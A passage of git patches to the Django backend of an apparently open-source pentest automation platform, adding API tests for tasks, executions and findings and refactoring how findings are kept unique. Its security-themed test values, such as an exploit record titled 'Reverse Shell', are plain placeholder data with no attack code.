logger.info(f"[Execution] Execution {execution.id} has been cancelled") execution.status = Status.CANCELLED execution.end = timezone.now() @@ -104,7 +106,9 @@ def repeat_task(self, request: Request, pk: str) -> Response: Response: HTTP response """ task = self.get_object() - if task.is_running(): + if task.executions.filter( + status__in=[Status.REQUESTED, Status.RUNNING] + ).exists(): return Response( {"task": "Task is still running"}, status=status.HTTP_400_BAD_REQUEST ) diff --git a/src/backend/tests/cases.py b/src/backend/tests/cases.py index ff0faef19..eb95a17bf 100644 --- a/src/backend/tests/cases.py +++ b/src/backend/tests/cases.py @@ -43,6 +43,8 @@ def _check_response_content( if isinstance(value, dict): self._check_response_content(value, response.get(key, {})) else: + if isinstance(value, list): + self.tc.assertEqual(len(value), len(response.get(key, []))) try: self.tc.assertEqual(value, response.get(key)) except Exception as ex: diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index 2ad6d392f..1c62ecebd 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -3,7 +3,10 @@ from typing import Any, Dict, List from django.test import TestCase +from executions.enums import Status from executions.models import Execution +from platforms.telegram_app.bot.mixins import process +from processes.models import Process, Step from projects.models import Project from rest_framework.test import APIClient from security.authorization.roles import Role @@ -12,7 +15,7 @@ from tasks.models import Task from tests.cases import RekonoTestCase from tools.enums import Intensity -from tools.models import Tool +from tools.models import Configuration, Tool from users.models import User @@ -63,6 +66,37 @@ def _setup_target(self) -> None: project=self.project, target="10.10.10.10", type=TargetType.PRIVATE_IP ) + def _setup_tasks_and_executions(self) -> None: + if not hasattr(self, "target"): + self._setup_target() + self.running_task = Task.objects.create( + target=self.target, + process=Process.objects.get(pk=1), + executor=self.admin1, + ) + process_step = Step.objects.filter(process__id=1).first() + self.execution1 = Execution.objects.create( + task=self.running_task, + configuration=process_step.configuration, + status=Status.COMPLETED, + ) + self.execution2 = Execution.objects.create( + task=self.running_task, + configuration=process_step.configuration, + status=Status.RUNNING, + ) + configuration = Configuration.objects.get(pk=1) + self.completed_task = Task.objects.create( + target=self.target, + configuration=configuration, + executor=self.auditor1, + ) + self.execution3 = Execution.objects.create( + task=self.completed_task, + configuration=configuration, + status=Status.COMPLETED, + ) + def _metadata(self) -> Dict[str, Any]: return {} @@ -116,7 +150,6 @@ class ToolTest(RekonoTest): def setUp(self) -> None: if self.tool_name: super().setUp() - self._setup_project() self._setup_target() self.tool = Tool.objects.get(name=self.tool_name) self.configuration = self.tool.configurations.get(default=True) diff --git a/src/backend/tests/test_executions.py b/src/backend/tests/test_executions.py new file mode 100644 index 000000000..4b933bfac --- /dev/null +++ b/src/backend/tests/test_executions.py @@ -0,0 +1,76 @@ +from typing import Any + +from executions.enums import Status +from tests.cases import ApiTestCase +from tests.framework import ApiTest + + +class ExecutionTest(ApiTest): + endpoint = "/api/executions/" + expected_str = "10.10.10.10 - Nmap - TCP ports" + cases = [ + ApiTestCase(["admin2", "auditor2", "reader2"], "get", 200), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 3, + "task": 2, + "configuration": { + "id": 1, + "name": "TCP ports", + "tool": {"id": 1, "name": "Nmap"}, + }, + "status": Status.COMPLETED.value, + }, + { + "id": 2, + "task": 1, + "configuration": { + "id": 19, + "name": "All available sources", + "tool": {"id": 3, "name": "theHarvester"}, + }, + "status": Status.RUNNING.value, + }, + { + "id": 1, + "task": 1, + "configuration": { + "id": 19, + "name": "All available sources", + "tool": {"id": 3, "name": "theHarvester"}, + }, + "status": Status.COMPLETED.value, + }, + ], + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], "get", 404, endpoint="{endpoint}3/" + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={ + "id": 3, + "task": 2, + "configuration": { + "id": 1, + "name": "TCP ports", + "tool": {"id": 1, "name": "Nmap"}, + }, + "status": Status.COMPLETED.value, + }, + endpoint="{endpoint}3/", + ), + ] + + def setUp(self) -> None: + super().setUp() + self._setup_tasks_and_executions() + + def _get_object(self) -> Any: + return self.execution3 diff --git a/src/backend/tests/test_findings.py b/src/backend/tests/test_findings.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/tests/test_tasks.py b/src/backend/tests/test_tasks.py new file mode 100644 index 000000000..011e8f05f --- /dev/null +++ b/src/backend/tests/test_tasks.py @@ -0,0 +1,151 @@ +from typing import Any + +from executions.enums import Status +from tests.cases import ApiTestCase +from tests.framework import ApiTest +from tools.enums import Intensity + +task1 = {"target_id": 1, "configuration_id": 1, "intensity": "Hard"} +task2 = {"target_id": 1, "process_id": 1} +invalid_task = {"target_id": 1} + + +class TaskTest(ApiTest): + endpoint = "/api/tasks/" + expected_str = "10.10.10.10 - All tools" + cases = [ + ApiTestCase(["admin2", "auditor2", "reader2"], "get", 200), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 2, + "target": {"id": 1, "target": "10.10.10.10"}, + "configuration": { + "id": 1, + "tool": {"id": 1, "name": "Nmap"}, + "name": "TCP ports", + }, + "process": None, + "executor": {"id": 3, "username": "auditor1"}, + "intensity": Intensity.NORMAL.name.capitalize(), + "executions": [3], + }, + { + "id": 1, + "target": {"id": 1, "target": "10.10.10.10"}, + "configuration": None, + "process": {"id": 1, "name": "All tools"}, + "executor": {"id": 1, "username": "admin1"}, + "intensity": Intensity.NORMAL.name.capitalize(), + "executions": [1, 2], + }, + ], + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], "get", 404, endpoint="{endpoint}1/" + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={ + "id": 1, + "target": {"id": 1, "target": "10.10.10.10"}, + "configuration": None, + "process": {"id": 1, "name": "All tools"}, + "executor": {"id": 1, "username": "admin1"}, + "intensity": Intensity.NORMAL.name.capitalize(), + "executions": [1, 2], + }, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin2", "auditor2"], "post", 404, endpoint="{endpoint}1/repeat/" + ), + ApiTestCase( + ["reader1", "reader2"], "post", 403, endpoint="{endpoint}1/repeat/" + ), + ApiTestCase( + ["admin1", "auditor1"], "post", 400, endpoint="{endpoint}1/repeat/" + ), + ApiTestCase( + ["auditor1"], + "post", + 201, + expected={ + "id": 3, + "target": {"id": 1, "target": "10.10.10.10"}, + "configuration": { + "id": 1, + "tool": {"id": 1, "name": "Nmap"}, + "name": "TCP ports", + }, + "process": None, + "intensity": Intensity.NORMAL.name.capitalize(), + }, + endpoint="{endpoint}2/repeat/", + ), + ApiTestCase(["admin2", "auditor2"], "delete", 404, endpoint="{endpoint}2/"), + ApiTestCase(["reader1", "reader2"], "delete", 403, endpoint="{endpoint}2/"), + ApiTestCase(["admin1", "auditor1"], "delete", 400, endpoint="{endpoint}2/"), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}1/"), + ApiTestCase(["auditor1"], "delete", 400, endpoint="{endpoint}1/"), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={"id": 1, "status": Status.COMPLETED}, + endpoint="/api/executions/1/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={"id": 2, "status": Status.CANCELLED}, + endpoint="/api/executions/2/", + ), + ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task), + ApiTestCase(["admin2", "auditor2", "reader1", "reader2"], "post", 403, task1), + ApiTestCase( + ["admin1"], + "post", + 201, + task1, + { + "id": 4, + "target": {"id": 1, "target": "10.10.10.10"}, + "configuration": { + "id": 1, + "tool": {"id": 1, "name": "Nmap"}, + "name": "TCP ports", + }, + "process": None, + "executor": {"id": 1, "username": "admin1"}, + "intensity": Intensity.HARD.name.capitalize(), + }, + ), + ApiTestCase( + ["auditor1"], + "post", + 201, + task2, + { + "id": 5, + "target": {"id": 1, "target": "10.10.10.10"}, + "configuration": None, + "process": {"id": 1, "name": "All tools"}, + "executor": {"id": 3, "username": "auditor1"}, + "intensity": Intensity.NORMAL.name.capitalize(), + }, + ), + ] + + def setUp(self) -> None: + super().setUp() + self._setup_tasks_and_executions() + + def _get_object(self) -> Any: + return self.running_task From 68c860ee55343af9f6956960e3b2c5ab5c34db12 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 2 Dec 2023 11:53:39 +0100 Subject: [PATCH 036/141] Update gitignore --- .gitignore | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index fc72a4186..bfb2d4b63 100644 --- a/.gitignore +++ b/.gitignore @@ -137,7 +137,6 @@ dmypy.json ./logs/ /static/ /src/backend/tests/home/ -config.yaml # Vue.JS node_modules/ @@ -162,4 +161,5 @@ rekono-kbx # Temporal ignore src/backend-1.x/ -migrations/ \ No newline at end of file +migrations/ +config.yaml From 1171c851ed68418a7478b91461d954af9bf30606 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Mon, 4 Dec 2023 18:07:30 +0100 Subject: [PATCH 037/141] Unit tests for findings and fixes for all the problems found --- src/backend/findings/enums.py | 1 + src/backend/findings/filters.py | 16 +- src/backend/findings/framework/filters.py | 23 +- src/backend/findings/framework/models.py | 45 +-- src/backend/findings/models.py | 82 +---- src/backend/findings/views.py | 8 +- src/backend/security/authorization/roles.py | 2 +- src/backend/tests/framework.py | 1 - src/backend/tests/test_findings.py | 384 ++++++++++++++++++++ src/backend/tools/parsers/base.py | 22 +- 10 files changed, 441 insertions(+), 143 deletions(-) diff --git a/src/backend/findings/enums.py b/src/backend/findings/enums.py index 9d04e2664..46abe26f3 100644 --- a/src/backend/findings/enums.py +++ b/src/backend/findings/enums.py @@ -52,4 +52,5 @@ class PathType(models.TextChoices): class TriageStatus(models.TextChoices): FALSE_POSITIVE = "False Positive" TRUE_POSITIVE = "True Positive" + WONT_FIX = "Won't Fix" UNTRIAGED = "Untriaged" diff --git a/src/backend/findings/filters.py b/src/backend/findings/filters.py index 55c715f25..562083b27 100644 --- a/src/backend/findings/filters.py +++ b/src/backend/findings/filters.py @@ -10,11 +10,7 @@ Technology, Vulnerability, ) -from framework.filters import ( - MultipleCharFilter, - MultipleFieldFilterSet, - MultipleNumberFilter, -) +from framework.filters import MultipleCharFilter, MultipleNumberFilter class OSINTFilter(FindingFilter): @@ -53,7 +49,7 @@ class Meta: class PathFilter(FindingFilter): - host = ModelChoiceFilter(field_name="port__host") + host = ModelChoiceFilter(queryset=Host.objects.all(), field_name="port__host") class Meta: model = Path @@ -67,7 +63,7 @@ class Meta: class TechnologyFilter(FindingFilter): - host = ModelChoiceFilter(field_name="port__host") + host = ModelChoiceFilter(queryset=Host.objects.all(), field_name="port__host") class Meta: model = Technology @@ -82,8 +78,10 @@ class Meta: class CredentialFilter(FindingFilter): - port = ModelChoiceFilter(field_name="technology__port") - host = ModelChoiceFilter(field_name="technology__port__host") + port = ModelChoiceFilter(queryset=Port.objects.all(), field_name="technology__port") + host = ModelChoiceFilter( + queryset=Host.objects.all(), field_name="technology__port__host" + ) class Meta: model = Credential diff --git a/src/backend/findings/framework/filters.py b/src/backend/findings/framework/filters.py index f4c7b3d3c..e9bca8bc1 100644 --- a/src/backend/findings/framework/filters.py +++ b/src/backend/findings/framework/filters.py @@ -1,14 +1,27 @@ from django_filters.filters import ModelChoiceFilter from findings.models import OSINT from framework.filters import MultipleFieldFilterSet +from projects.models import Project +from targets.models import Target +from tasks.models import Task +from tools.models import Tool +from users.models import User class FindingFilter(MultipleFieldFilterSet): - tool = ModelChoiceFilter(field_name="executions__configuration__tool") - task = ModelChoiceFilter(field_name="executions__task") - target = ModelChoiceFilter(field_name="executions__task__target") - project = ModelChoiceFilter(field_name="executions__task__target__project") - executor = ModelChoiceFilter(field_name="executions__task__executor") + tool = ModelChoiceFilter( + queryset=Tool.objects.all(), field_name="executions__configuration__tool" + ) + task = ModelChoiceFilter(queryset=Task.objects.all(), field_name="executions__task") + target = ModelChoiceFilter( + queryset=Target.objects.all(), field_name="executions__task__target" + ) + project = ModelChoiceFilter( + queryset=Project.objects.all(), field_name="executions__task__target__project" + ) + executor = ModelChoiceFilter( + queryset=User.objects.all(), field_name="executions__task__executor" + ) class Meta: model = OSINT # It's needed to define a non-abstract model as default. It will be overwritten diff --git a/src/backend/findings/framework/models.py b/src/backend/findings/framework/models.py index 89dcfe4ef..c0898d39b 100644 --- a/src/backend/findings/framework/models.py +++ b/src/backend/findings/framework/models.py @@ -22,54 +22,11 @@ class Finding(BaseInput): max_length=300, validators=[Validator(Regex.TEXT.value, code="triage_comment")] ) defect_dojo_id = models.IntegerField(blank=True, null=True) + unique_fields = [] class Meta: abstract = True - @classmethod - def get_unique_fields(cls) -> List[str]: - for constraint in (cls._meta.original_attrs or {}).get("constraints", []): - if isinstance(constraint, models.UniqueConstraint): - return list(constraint.fields) - return [] - - # Method copied from https://github.com/django/django/blob/main/django/db/models/base.py#L1343 - def _perform_unique_checks(self, unique_checks): - errors = {} - for model_class, unique_check in unique_checks: - # Line modified to require findings to be unique by target - lookup_kwargs = { - "executions__task__target__in": self.executions.all().select_related( - "task__target" - ) - } - for field_name in unique_check: - f = self._meta.get_field(field_name) - lookup_value = getattr(self, f.attname) - if lookup_value is None or ( - lookup_value == "" - and connection.features.interprets_empty_strings_as_nulls - ): - continue - if f.primary_key and not self._state.adding: - continue - lookup_kwargs[str(field_name)] = lookup_value - if len(unique_check) != len(lookup_kwargs): - continue - qs = model_class._default_manager.filter(**lookup_kwargs) - model_class_pk = self._get_pk_val(model_class._meta) - if not self._state.adding and model_class_pk is not None: - qs = qs.exclude(pk=model_class_pk) - if qs.exists(): - if len(unique_check) == 1: - key = unique_check[0] - else: - key = NON_FIELD_ERRORS - errors.setdefault(key, []).append( - self.unique_error_message(model_class, unique_check) - ) - return errors - def get_project(self) -> Any: return self.executions.first().task.target.project diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index 938715581..b2dab0e1c 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -25,13 +25,7 @@ class OSINT(Finding): source = models.TextField(max_length=50, blank=True, null=True) reference = models.TextField(max_length=250, blank=True, null=True) - class Meta: - constraints = [ - models.UniqueConstraint( - fields=["data", "data_type"], - name="unique_osint", - ) - ] + unique_fields = ["data", "data_type"] def parse( self, target: Target = None, accumulated: Dict[str, Any] = {} @@ -66,9 +60,7 @@ class Host(Finding): max_length=10, choices=HostOS.choices, default=HostOS.OTHER ) - class Meta: - constraints = [models.UniqueConstraint(fields=["address"], name="unique_host")] - + unique_fields = ["address"] filters = [Finding.Filter(TargetType, "address", lambda a: Target.get_type(a))] def parse( @@ -109,19 +101,12 @@ class Port(Finding): ) service = models.TextField(max_length=50, blank=True, null=True) + unique_fields = ["host", "port", "protocol"] filters = [ Finding.Filter(int, "port"), Finding.Filter(str, "service", contains=True, processor=lambda s: s.lower()), ] - class Meta: - constraints = [ - models.UniqueConstraint( - fields=["host", "port", "protocol"], - name="unique_port", - ) - ] - def parse( self, target: Target = None, accumulated: Dict[str, Any] = {} ) -> Dict[str, Any]: @@ -148,7 +133,7 @@ def parse( return output def defect_dojo(self) -> Dict[str, Any]: - description = f"Port: {self.port}\nStatus: {self.status}\nProtocol: {self.protocol}\nService {self.service}" + description = f"Port: {self.port}\nStatus: {self.status}\nProtocol: {self.protocol}\nService: {self.service}" return { "title": "Port discovered", "description": f"Host: {self.host.address}\n{description}" @@ -177,17 +162,13 @@ class Path(Finding): # Path type depending on the protocol where it's found type = models.TextField(choices=PathType.choices, default=PathType.ENDPOINT) + unique_fields = ["port", "path"] filters = [ Finding.Filter(PathType, "type"), Finding.Filter(int, "status"), Finding.Filter(str, "path", contains=True, processor=lambda p: p.lower()), ] - class Meta: - constraints = [ - models.UniqueConstraint(fields=["port", "path"], name="unique_path") - ] - def _clean_path_value(self, value: str) -> str: if value[0] != "/": value = f"/{value}" @@ -216,7 +197,7 @@ def parse( def defect_dojo(self) -> Dict[str, Any]: return { "protocol": self.port.service if self.port else None, - "host": self.port.host.address if self.port else None, + "host": self.port.host.address if self.port and self.port.host else None, "port": self.port.port if self.port else None, "path": self.path, } @@ -247,18 +228,11 @@ class Technology(Finding): ) reference = models.TextField(max_length=250, blank=True, null=True) + unique_fields = ["port", "name", "version"] filters = [ Finding.Filter(str, "name", contains=True, processor=lambda n: n.lower()) ] - class Meta: - constraints = [ - models.UniqueConstraint( - fields=["port", "name", "version"], - name="unique_technology", - ) - ] - def parse( self, target: Target = None, accumulated: Dict[str, Any] = {} ) -> Dict[str, Any]: @@ -314,18 +288,7 @@ class Credential(Finding): secret = models.TextField(max_length=300, blank=True, null=True) context = models.TextField(max_length=300, blank=True, null=True) - class Meta: - constraints = [ - models.UniqueConstraint( - fields=[ - "technology", - "email", - "username", - "secret", - ], - name="unique_credential", - ) - ] + unique_fields = ["technology", "email", "username", "secret"] def parse( self, target: Target = None, accumulated: Dict[str, Any] = {} @@ -382,25 +345,13 @@ class Vulnerability(Finding): osvdb = models.TextField(max_length=20, blank=True, null=True) reference = models.TextField(max_length=250, blank=True, null=True) + unique_fields = ["technology", "port", "name", "cve"] filters = [ Finding.Filter(Severity, "severity"), Finding.Filter(str, "cve", contains=True, processor=lambda c: c.lower()), Finding.Filter(str, "cwe", contains=True, processor=lambda c: c.lower()), ] - class Meta: - constraints = [ - models.UniqueConstraint( - fields=[ - "technology", - "port", - "name", - "cve", - ], - name="unique_vulnerability", - ), - ] - def parse( self, target: Target = None, accumulated: Dict[str, Any] = {} ) -> Dict[str, Any]: @@ -455,18 +406,7 @@ class Exploit(Finding): edb_id = models.IntegerField(blank=True, null=True) # Id in Exploit-DB reference = models.TextField(max_length=250, blank=True, null=True) - class Meta: - constraints = [ - models.UniqueConstraint( - fields=[ - "vulnerability", - "technology", - "edb_id", - "reference", - ], - name="unique_exploit", - ), - ] + unique_fields = ["vulnerability", "technology", "edb_id", "reference"] def parse( self, target: Target = None, accumulated: Dict[str, Any] = {} @@ -485,7 +425,7 @@ def defect_dojo(self) -> Dict[str, Any]: "severity": self.vulnerability.severity if self.vulnerability else Severity.MEDIUM, - "reference": self.reference, + "references": self.reference, "date": self.last_seen.strftime( DefectDojoSettings.objects.first().date_format ), diff --git a/src/backend/findings/views.py b/src/backend/findings/views.py index 0f55bbfd7..120d0e211 100644 --- a/src/backend/findings/views.py +++ b/src/backend/findings/views.py @@ -55,6 +55,11 @@ class OSINTViewSet(FindingViewSet): filterset_class = OSINTFilter search_fields = ["data"] ordering_fields = ["id", "data", "data_type", "source"] + # "post" is needed to allow POST requests to create targets + http_method_names = ["get", "put", "post"] + + def create(self, request: Request, *args, **kwargs): + return self._method_not_allowed("POST") @extend_schema(request=None, responses={201: TargetSerializer}) @action(detail=True, methods=["POST"], url_path="target", url_name="target") @@ -82,9 +87,8 @@ def target(self, request: Request, pk: str) -> Response: TargetSerializer(target).data, status=status.HTTP_201_CREATED ) return Response( - "Target creation is not available for this OSINT data type", + {"data_type": "Target creation is not available for this OSINT data type"}, status=status.HTTP_400_BAD_REQUEST, - code="data_type", ) diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index e9ae4fdc7..be4c8d77c 100644 --- a/src/backend/security/authorization/roles.py +++ b/src/backend/security/authorization/roles.py @@ -60,7 +60,7 @@ class Role(models.TextChoices): }, "osint": { "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], + "add": [Role.ADMIN, Role.AUDITOR], "change": [Role.ADMIN, Role.AUDITOR], "delete": [], }, diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index 1c62ecebd..d2912e5f0 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -5,7 +5,6 @@ from django.test import TestCase from executions.enums import Status from executions.models import Execution -from platforms.telegram_app.bot.mixins import process from processes.models import Process, Step from projects.models import Project from rest_framework.test import APIClient diff --git a/src/backend/tests/test_findings.py b/src/backend/tests/test_findings.py index e69de29bb..95ff8162e 100644 --- a/src/backend/tests/test_findings.py +++ b/src/backend/tests/test_findings.py @@ -0,0 +1,384 @@ +from typing import Any, Dict + +from django.db import models, transaction +from executions.models import Execution +from findings.enums import ( + HostOS, + OSINTDataType, + PathType, + PortStatus, + Protocol, + Severity, + TriageStatus, +) +from findings.models import ( + OSINT, + Credential, + Exploit, + Host, + Path, + Port, + Technology, + Vulnerability, +) +from rest_framework.test import APIClient +from targets.enums import TargetType +from targets.models import Target +from tasks.models import Task +from tests.cases import ApiTestCase +from tests.framework import ApiTest +from tools.models import Configuration + +findings = [ + ( + OSINT, + { + "data": "admin", + "data_type": OSINTDataType.USER, + "source": "Google", + "reference": "https://any.com", + }, + { + "title": f"{OSINTDataType.USER.value} found using OSINT techniques", + "description": "admin", + "severity": Severity.MEDIUM, + }, + "admin", + "/api/osint/", + ), + ( + Host, + { + "address": "10.10.10.10", + "os": "some type of Linux", + "os_type": HostOS.LINUX, + }, + { + "title": "Host discovered", + "description": f"10.10.10.10 - {HostOS.LINUX.value}", + "severity": Severity.INFO.value, + }, + "10.10.10.10", + "/api/hosts/", + ), + ( + Port, + { + "host": 1, + "port": 80, + "status": PortStatus.OPEN, + "protocol": Protocol.TCP, + "service": "http", + }, + { + "title": "Port discovered", + "description": f"Host: 10.10.10.10\nPort: 80\nStatus: {PortStatus.OPEN.value}\nProtocol: {Protocol.TCP.value}\nService: http", + "severity": Severity.INFO, + }, + "10.10.10.10 - 80", + "/api/ports/", + ), + ( + Path, + { + "port": 1, + "path": "/index.php", + "status": 200, + "extra_info": "Main path", + "type": PathType.ENDPOINT, + }, + {"protocol": "http", "host": "10.10.10.10", "port": 80, "path": "/index.php"}, + "10.10.10.10 - 80 - /index.php", + "/api/paths/", + ), + ( + Technology, + { + "port": 1, + "name": "WordPress", + "version": "1.0.0", + "description": "Typical CMS", + "reference": "https://wordpress.org", + }, + { + "title": "Technology WordPress detected", + "description": "Technology: WordPress\nVersion: 1.0.0\nDetails: Typical CMS", + "severity": Severity.LOW, + "cwe": 200, + "references": "https://wordpress.org", + }, + "10.10.10.10 - 80 - WordPress", + "/api/technologies/", + ), + ( + Credential, + { + "technology": 1, + "email": "admin@shop.com", + "username": "admin", + "secret": "admin", + "context": "Default admin credentials", + }, + { + "title": "Credentials exposure", + "description": "admin@shop.com - admin - admin", + "cwe": 200, + "severity": Severity.HIGH, + }, + "10.10.10.10 - 80 - WordPress - admin@shop.com - admin - admin", + "/api/credentials/", + ), + ( + Vulnerability, + { + "technology": 1, + "name": "Test", + "description": "Test", + "severity": Severity.CRITICAL, + "cve": "CVE-2023-1111", + "cwe": "CWE-200", + "reference": "https://nvd.nist.gov/vuln/detail/CVE-2023-1111", + }, + { + "title": "Test", + "description": "Test", + "severity": Severity.CRITICAL, + "cve": "CVE-2023-1111", + "cwe": 200, + "references": "https://nvd.nist.gov/vuln/detail/CVE-2023-1111", + }, + "10.10.10.10 - 80 - WordPress - Test - CVE-2023-1111", + "/api/vulnerabilities/", + ), + ( + Exploit, + { + "vulnerability": 1, + "title": "Reverse Shell", + "edb_id": 1, + "reference": "https://www.exploit-db.com/exploits/1", + }, + { + "title": "Exploit 1 found", + "description": "Reverse Shell", + "severity": Severity.CRITICAL, + "references": "https://www.exploit-db.com/exploits/1", + }, + "10.10.10.10 - 80 - WordPress - Test - CVE-2023-1111 - Reverse Shell", + "/api/exploits/", + ), +] +false_positive = { + "triage_status": TriageStatus.FALSE_POSITIVE.value, + "triage_comment": "It isn't exploitable", +} +true_positive = { + "triage_status": TriageStatus.TRUE_POSITIVE.value, + "triage_comment": "Exploitation has been confirmed", +} + + +class FindingTest(ApiTest): + endpoint = "/api/findings/" + + def _create_finding( + self, model: Any, data: Dict[str, Any], execution: Execution + ) -> Any: + new_finding = model.objects.create( + **{ + k: getattr(self, k) + if isinstance(v, int) and hasattr(self, k) and getattr(self, k).id == v + else v + for k, v in data.items() + } + ) + new_finding.executions.add(execution) + return new_finding + + def setUp(self) -> None: + super().setUp() + self._setup_tasks_and_executions() + self.cases = [] + for finding_model, finding_data, _, _, endpoint in findings: + setattr( + self, + finding_model.__name__.lower(), + self._create_finding(finding_model, finding_data, self.execution3), + ) + self.cases.extend( + [ + ApiTestCase( + ["admin2", "auditor2", "reader2"], "get", 200, endpoint=endpoint + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 1, + "triage_status": TriageStatus.UNTRIAGED.value, + "triage_comment": "", + **{ + k: v + if not isinstance(v, models.TextChoices) + else v.value + for k, v in finding_data.items() + }, + } + ], + endpoint=endpoint, + ), + ApiTestCase( + ["reader1", "reader2"], + "put", + 403, + false_positive, + endpoint=f"{endpoint}1/", + ), + ApiTestCase( + ["admin2", "auditor2"], + "put", + 404, + false_positive, + endpoint=f"{endpoint}1/", + ), + ApiTestCase( + ["admin1", "auditor1"], + "put", + 200, + false_positive, + expected={"id": 1, **false_positive}, + endpoint=f"{endpoint}1/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={ + "id": 1, + **false_positive, + **{ + k: v + if not isinstance(v, models.TextChoices) + else v.value + for k, v in finding_data.items() + }, + }, + endpoint=f"{endpoint}1/", + ), + ApiTestCase( + ["admin1", "auditor1"], + "put", + 200, + true_positive, + expected={"id": 1, **true_positive}, + endpoint=f"{endpoint}1/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={ + "id": 1, + **true_positive, + **{ + k: v + if not isinstance(v, models.TextChoices) + else v.value + for k, v in finding_data.items() + }, + }, + endpoint=f"{endpoint}1/", + ), + ] + ) + + def test_str(self) -> None: + for finding_model, _, _, expected_str, _ in findings: + self.assertEqual( + expected_str, + getattr(self, finding_model.__name__.lower()).__str__(), + ) + for finding_model, finding_data, pop_field, expected_str in [ + ( + Vulnerability, + {**findings[6][1], "port": 1}, + "technology", + "10.10.10.10 - 80 - Test - CVE-2023-1111", + ), + ( + Exploit, + {**findings[7][1], "technology": 1}, + "vulnerability", + "10.10.10.10 - 80 - WordPress - Reverse Shell", + ), + ]: + finding_data.pop(pop_field) + aux = self._create_finding(finding_model, finding_data, self.execution3) + self.assertEqual(expected_str, aux.__str__()) + + def test_anonymous_access(self) -> None: + for _, _, _, _, endpoint in findings: + response = APIClient().get(endpoint) + self.assertEqual( + 200 if self.anonymous_allowed else 401, response.status_code + ) + + def test_defect_dojo(self) -> None: + for finding_model, _, expected_data, _, _ in findings: + parsed = getattr(self, finding_model.__name__.lower()).defect_dojo() + for key, value in expected_data.items(): + self.assertEqual(value, parsed[key]) + + +class OSINTTest(ApiTest): + endpoint = "/api/osint/" + anonymous_allowed = None + cases = [ + ApiTestCase(["admin1", "admin2", "auditor1", "auditor2"], "post", 405), + ApiTestCase( + ["reader1", "reader2"], "post", 403, endpoint="{endpoint}1/target/" + ), + ApiTestCase( + ["admin2", "auditor2"], "post", 404, endpoint="{endpoint}1/target/" + ), + ApiTestCase( + ["admin1", "auditor1"], "post", 400, endpoint="{endpoint}2/target/" + ), + ApiTestCase( + ["auditor1"], + "post", + 201, + expected={ + "id": 2, + "target": "10.10.10.11", + "type": TargetType.PRIVATE_IP.value, + }, + endpoint="{endpoint}1/target/", + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], "get", 404, endpoint="/api/targets/2/" + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={ + "id": 2, + "target": "10.10.10.11", + "type": TargetType.PRIVATE_IP.value, + }, + endpoint="/api/targets/2/", + ), + ] + + def setUp(self) -> None: + super().setUp() + self._setup_tasks_and_executions() + self.osint1 = OSINT.objects.create( + data="10.10.10.11", data_type=OSINTDataType.IP, source="Google" + ) + self.osint2 = OSINT.objects.create(**findings[0][1]) + for osint in [self.osint1, self.osint2]: + osint.executions.add(self.execution3) diff --git a/src/backend/tools/parsers/base.py b/src/backend/tools/parsers/base.py index de4d5b636..e92d62f43 100644 --- a/src/backend/tools/parsers/base.py +++ b/src/backend/tools/parsers/base.py @@ -1,5 +1,4 @@ import json -import os from typing import Any, Dict, List import defusedxml.ElementTree as parser @@ -44,17 +43,20 @@ def create_finding(self, finding_type: Finding, **fields: Any) -> Finding: ) ): fields[finding_type_used.__name__.lower()] = finding_used - unique_id = {"executions__task__target": self.executor.execution.task.target} - for field in finding_type.get_unique_fields(): - if field in fields: - unique_id[field] = fields[field] - finding, _ = finding_type.objects.update_or_create( - **unique_id, - defaults={ - **fields, - "last_seen": timezone.now(), + fields["last_seen"] = timezone.now() + unique_finding = finding_type.objects.filter( + **{ + **{f: fields[f] for f in finding_type.unique_fields}, + "executions__task__target": self.executor.execution.task.target, } ) + if unique_finding.exists(): + finding = unique_finding.first() + for field, value in fields.items(): + setattr(finding, field, value) + finding.save(update_fields=fields.keys()) + else: + finding = finding_type.objects.create(**fields) finding.executions.add(self.executor.execution) self.findings.append(finding) return finding From 79f505877ba73ccd00f4267bc3611e8e04d5d2cf Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Mon, 4 Dec 2023 18:46:19 +0100 Subject: [PATCH 038/141] Fix unique findings creation --- src/backend/tools/parsers/base.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/backend/tools/parsers/base.py b/src/backend/tools/parsers/base.py index e92d62f43..2421000bf 100644 --- a/src/backend/tools/parsers/base.py +++ b/src/backend/tools/parsers/base.py @@ -46,7 +46,7 @@ def create_finding(self, finding_type: Finding, **fields: Any) -> Finding: fields["last_seen"] = timezone.now() unique_finding = finding_type.objects.filter( **{ - **{f: fields[f] for f in finding_type.unique_fields}, + **{f: fields.get(f) for f in finding_type.unique_fields}, "executions__task__target": self.executor.execution.task.target, } ) From 49b87cdef1d347c8b1fca8fd55164926a91b2fd7 Mon 